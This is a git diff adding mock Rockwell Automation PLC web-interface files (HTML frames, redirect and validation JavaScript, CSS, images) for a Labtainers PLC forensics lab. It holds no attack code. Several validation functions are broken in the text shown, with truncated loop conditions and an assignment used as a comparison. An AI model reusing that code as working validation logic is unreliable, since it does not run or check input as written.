querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig.html new file mode 100644 index 000000000..31850181f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig.html @@ -0,0 +1,17 @@ + + +Rockwell Automation + + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig.html new file mode 100644 index 000000000..ffa64ac82 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig.html @@ -0,0 +1,115 @@ + + + + + + + + + + + + + + + + +
+ + + + + + + + + + + + +
Device IdentityNetwork ConfigurationDevice ServicesEmail +Configuration
+ + + + + + + +

+ + + + +
+
+ + + + + + + + + + + + + + + + + + + + + + + + +
E-Mail Client
SMTP ServerIP or Hostname: 
SMTP AuthenticationUser Name: 
Password:

+
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/URLhandle.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/URLhandle.js new file mode 100644 index 000000000..369106f2b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/URLhandle.js @@ -0,0 +1,87 @@ +function redirect(URL) +{ + parent.frames.home.location.href = URL +} + +function isValidURL(url) +{ + var RegExp = /^(\/([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)*(\?(&?([-+_~.\d\w]|%[a-fA-f\d]{2,2})=?)*)?(#([-+_~.\d\w]|%[a-fA-f\d]{2,2})*)?$/; + if(RegExp.test(url)){ + return true; + }else{ + return false; + } +} + +function parseQuery() +{ + var querystr + var queryindex + querystr = "" + parent.parent.document.location.href + + if ((queryindex = querystr.indexOf('?')) != -1) + { + querystr = querystr.substring(queryindex + 1) + + if ((queryindex = querystr.indexOf('redirect=')) != -1) + { + querystr = querystr.substring(queryindex + 9) + if (isValidURL(querystr) && (querystr != this.location.pathname)) + { + redirect (querystr) + } + + } + else // invalid query string + alert("Invalid Query String") + } +} + +function frame_check() +{ + + if (top == self) + + { + var newUrl = "/index.html?redirect=" + document.location.pathname; + var replaceOK = true; + + if (navigator.appName.indexOf("Microsoft") > -1) + { + if (parseInt(navigator.appVersion) < 4) + { + replaceOK = false; + } + } + + if (replaceOK) + { + location.replace(newUrl); + } + else + { + document.location.href = newUrl; + } + } + + if (self){ + if (self.name == "home") { + top.frames.home.focus(); + } + } +} + +function highlightTree(url) +{ + var treeframe= parent.frames.navtree; + + if (treeframe.highlighted != 0) + { + treeframe.overColor(treeframe.highlighted, "#bcbcbc"); + } + + var treeobj= treeframe.document.getElementById(url); + + treeframe.overColor(treeobj, "#dedede"); + treeframe.highlighted= treeobj; +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/border.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/border.gif new file mode 100644 index 000000000..d81911ea2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/border.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/javaConfirm.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/javaConfirm.js new file mode 100644 index 000000000..d0156a96c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/javaConfirm.js @@ -0,0 +1,123 @@ +function jsConfirm(msg_text) { return confirm(msg_text); } + +function URLvalidate(url) { + var re = /^\/([^\\:\*\?"<>\|\/]{1,80}\/){0,63}([^\\:\*\?"<>\|\/]{1,80})?$/; + if (re.test(url)) { + return true; + } else { + alert("The URL appears invalid. A filename must not contain any of the following characters:\n\\ / : * ? < > |\n\nA valid URL begins with a leading slash (/), must contain fewer than 64 path segments, and each segment must be less than or equal to 80 characters in length."); + return false; + } +} + +function addrValidate(address, addrType) +{ + ipArray = new Array(4); + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(address)) { + var parts = address.split("."); + + if ((parseInt(parseFloat(parts[0])) == 0)&&(addrType != "GW")) { return false; } + + for (var i=0; i 255)||(parts[i] != Math.abs(parts[i]))) { return false; }// no negative numbers + } + + if ((addrType == "IP") || (addrType == "NS")) // ip, gateway, nameserver have first octet restrictions + { + if((parseInt(parseFloat(parts[0])) == 0) || (parseInt(parseFloat(parts[0])) == 127) || (parseInt(parseFloat(parts[0])) > 223)) + { return false; } + } + return true;} + else { + if((addrType == "GW") || (addrType == "NS")) + { + return true; // blank gateway or nameservers is valid. + } + else + { + return false; + } + } + } + +function isValidIP (ipaddr) +{ + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(ipaddr)) { + var ipArray = ipaddr.split("."); + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + } + if (ipArray[0] < 128) { + if (ipArray[0] == 0 || (ipArray[1] == 0 && ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[1] == 255 && ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 127) return false; // network is all ones + } else if (ipArray[0] < 192) { + if ((ipArray[0] = 128 && ipArray[1] == 0) || (ipArray[2] == 0 && ipArray[3] == 0)) return false; // host or network all zeros + if (ipArray[2] == 255 && ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 191 && ipArray[1] == 255) return false; // network is all ones + } else if (ipArray[0] < 224) { + if ((ipArray[0] == 192 && ipArray[1] == 0 && ipArray[2] == 0) || ipArray[3] == 0) return false; // host or network all zeros + if (ipArray[3] == 255) return false; // host is all ones + if (ipArray[0] == 223 && ipArray[1] == 255 && ipArray[2] == 255) return false; // network is all ones + } else return false; // Unsupported address class + return true;} + else { + return false; + } +} + +function isValidSubnet (subnetAddr) +{ + var i, subnet = 0; + var mask = 0x00000001, count = 1; + + + var re = /^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/; + if (re.test(subnetAddr)) { + var ipArray = subnetAddr.split("."); + + if (parseInt(parseFloat(ipArray[0])) == 0) { return false; } + + for (var i=0; i 255)||(ipArray[i] != Math.abs(ipArray[i]))) { return false; }// no negative numbers + subnet |= (parseInt(parseFloat(ipArray[i])) << (8 * (3 - i))); + } + + + done = false; + for (i=0; i<4; i++) { + if (ipArray[i] == 255) { + if (done) return false; + } else if ((ipArray[i] == 254) || (ipArray[i] == 252) || (ipArray[i] == 248) || (ipArray[i] == 240) || (ipArray[i] == 224) || (ipArray[i] == 192) || (ipArray[i] == 128)) { + if (!done) done = true; + else return false; + } else if (ipArray[i] == false) { + if (!done) done = true; + } else { + return false; + } + } + + return true;} + else { + return false; + } + +} + +function isValidEmail(emailAddr) +{ + var regexpr = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/ + + return regexpr.test(emailAddr); +} + +function isValidHostname(hostname) { + var regexpr = /^[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?(\.[a-zA-Z]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?)*$/ + + return regexpr.test(hostname); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/mensepoffoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/mensepoffoff.gif new file mode 100644 index 000000000..dee299b7b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/mensepoffoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/mensepoffon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/mensepoffon.gif new file mode 100644 index 000000000..0853fe34b Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/mensepoffon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/menubgoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/menubgoff.gif new file mode 100644 index 000000000..793d82e8a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/menubgoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/menubgon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/menubgon.gif new file mode 100644 index 000000000..fbcdbb48f Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/menubgon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/menuendbg.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/menuendbg.gif new file mode 100644 index 000000000..e31e6823a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/menuendbg.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/menuendon.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/menuendon.gif new file mode 100644 index 000000000..6fae98a1a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/menuendon.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/menustartoff.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/menustartoff.gif new file mode 100644 index 000000000..b55bbc1fd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/menustartoff.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/emailConfig_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/header.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/header.html new file mode 100644 index 000000000..c42fb2b14 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/header.html @@ -0,0 +1,16 @@ + + +Rockwell Automation + + + + + + + + + +
diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/header_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/header_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/header_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/header_files/spacer.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/header_files/spacer.gif new file mode 100644 index 000000000..5bfd67a2d Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/header_files/spacer.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/navtree.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/navtree.html new file mode 100644 index 000000000..2d5a31006 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/navtree.html @@ -0,0 +1,267 @@ + + +Rockwell Automation Tree Navigation + + + + + + + + + + + +
+ +
+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/navtree_files/email.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/navtree_files/email.gif new file mode 100644 index 000000000..e8588e5d2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/navtree_files/email.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/navtree_files/folder.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/navtree_files/folder.gif new file mode 100644 index 000000000..22b4defae Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/navtree_files/folder.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/navtree_files/navtree.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/navtree_files/navtree.css new file mode 100644 index 000000000..6985e5d08 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/navtree_files/navtree.css @@ -0,0 +1,33 @@ +IMG { + BORDER-RIGHT: medium none; BORDER-TOP: medium none; BORDER-LEFT: medium none; BORDER-BOTTOM: medium none +} +A:link { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:visited { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:unknown { + DISPLAY: block; COLOR: #333333; TEXT-DECORATION: none +} +A:hover { + DISPLAY: block; COLOR: #333333; BACKGROUND-COLOR: white; TEXT-DECORATION: none +} +.entry { + PADDING-RIGHT: 3px; PADDING-LEFT: 0px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 2px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.branch { + PADDING-RIGHT: 3px; DISPLAY: none; PADDING-LEFT: 15px; FONT-SIZE: 10px; PADDING-BOTTOM: 0px; CURSOR: hand; COLOR: #333333; PADDING-TOP: 1px; FONT-FAMILY: Verdana; BACKGROUND-COLOR: #bcbcbc +} +.scrollbarstyle { + SCROLLBAR-FACE-COLOR: #a0a0a0; SCROLLBAR-HIGHLIGHT-COLOR: #b7b6b6; SCROLLBAR-SHADOW-COLOR: #555555; SCROLLBAR-ARROW-COLOR: #ffffff; SCROLLBAR-BASE-COLOR: #cccccc; scrollbar-3d-Light-Color: #EEEEEE; scrollbar-Dark-Shadow-Color: #222222 +} +A.treehead:link { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:visited { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} +A.treehead:hover { + FONT-SIZE: 10px; BACKGROUND: #214184; COLOR: #ffffff; FONT-FAMILY: verdana +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/navtree_files/navtree.js b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/navtree_files/navtree.js new file mode 100644 index 000000000..ffaf5ccad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/navtree_files/navtree.js @@ -0,0 +1,117 @@ +function highlightView(current) +{ + if (highlighted != 0) + { + overColor(highlighted, "#bcbcbc"); + } + + overColor(current, "#dedede"); + highlighted= current; + + if (eval("typeof(parent.timeoutPntr)") != 'undefined') // clear any pending refreshes from another page + parent.window.clearTimeout(parent.timeoutPntr); +} + +function showBranch(branch) +{ + var objBranch; + objBranch = document.getElementById(branch).style + + if (objBranch.display == "block") + { + objBranch.display="none"; + } + else + { + objBranch.display="block"; + } + + top.frames.home.focus(); +} + +function branchState(branch, state) +{ + objBranch = document.getElementById(branch).style + + if (state == "expand") + { + objBranch.display="block"; + } + else + { + objBranch.display="none"; + } +} +function swapFolder(img) +{ + objImg = document.getElementById(img); + + if (objImg.src.indexOf('/images/folder.gif') > -1) + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function folderState(img, state) +{ + objImg = document.getElementById(img); + if (state == "expand") + { + objImg.src = openImg.src; + } + else + { + objImg.src = closedImg.src; + } +} + +function overColor(object, color) +{ + object.style.backgroundColor= color; +} + +function outColor(object, color) +{ + + if (object == highlighted) + { + color= "#dedede"; + } + + object.style.backgroundColor= color; +} + +function changeAll(state) +{ + // change all folder images + folderState("f_data_views", state); + folderState("f_diagnostics", state); + folderState("f_admin_settings", state); + folderState("f_device_config", state); + folderState("f_user_manage", state); + folderState("f_server_manage", state); + folderState("f_adv_diagnostics", state); + folderState("f_enet_ip", state); + folderState("f_network", state); + folderState("f_controlbus", state); + folderState("f_misc", state); + + // expand all branches + branchState("b_data_views", state); + branchState("b_diagnostics", state); + branchState("b_admin_settings", state); + branchState("b_device_config", state); + branchState("b_user_manage", state); + branchState("b_server_manage", state); + branchState("b_adv_diagnostics", state); + branchState("b_enet_ip", state); + branchState("b_network", state); + branchState("b_controlbus", state); + branchState("b_misc", state); + + top.frames.home.focus(); +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/navtree_files/paper.gif b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/navtree_files/paper.gif new file mode 100644 index 000000000..aa94332ce Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/navtree_files/paper.gif differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/radevice.css b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/radevice.css new file mode 100644 index 000000000..f315fbc52 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/radevice.css @@ -0,0 +1,51 @@ +.devicename { + FONT-SIZE: 24px; COLOR: #ffffff; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.copy { + FONT-SIZE: 11px; COLOR: #333333; LINE-HEIGHT: 1.25; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead { + FONT-WEIGHT: bold; FONT-SIZE: 14px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +P { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TD { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +UL { + FONT-SIZE: 10px; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +TR.row { + HEIGHT: 20px +} +BODY { + FONT-SIZE: 10px; COLOR: #333333; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.tablehead { + FONT-WEIGHT: bold; FONT-SIZE: 10px; COLOR: #002569; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.bodysinglespace { + FONT-WEIGHT: normal; FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-STYLE: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +.subhead2 { + FONT-WEIGHT: bold; FONT-SIZE: 12px; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif +} +.copyright { + FONT-SIZE: 10px; COLOR: #333333; LINE-HEIGHT: normal; FONT-FAMILY: verdana, helvetica, arial, sans-serif; TEXT-DECORATION: none +} +A.tab:link { + FONT-SIZE: 10px; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:visited { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: none +} +A.tab:hover { + FONT-SIZE: 10px; WORD-SPACING: normal; COLOR: #000000; FONT-FAMILY: Verdana, Arial, Helvetica, sans-serif; TEXT-DECORATION: underline +} +TABLE.sortable A.sortheader { + DISPLAY: block; FONT-WEIGHT: bold; COLOR: #002569; BACKGROUND-COLOR: #bdc8dd; TEXT-DECORATION: none +} +TABLE.sortable SPAN.sortarrow { + COLOR: black; TEXT-DECORATION: none +} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/redirect.html b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/redirect.html new file mode 100644 index 000000000..5226f9bb2 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/plc-forensics-adv/plc/_system/var/www/emailConfig_files/redirect.html @@ -0,0 +1,9 @@ + + + + + + + + diff --git 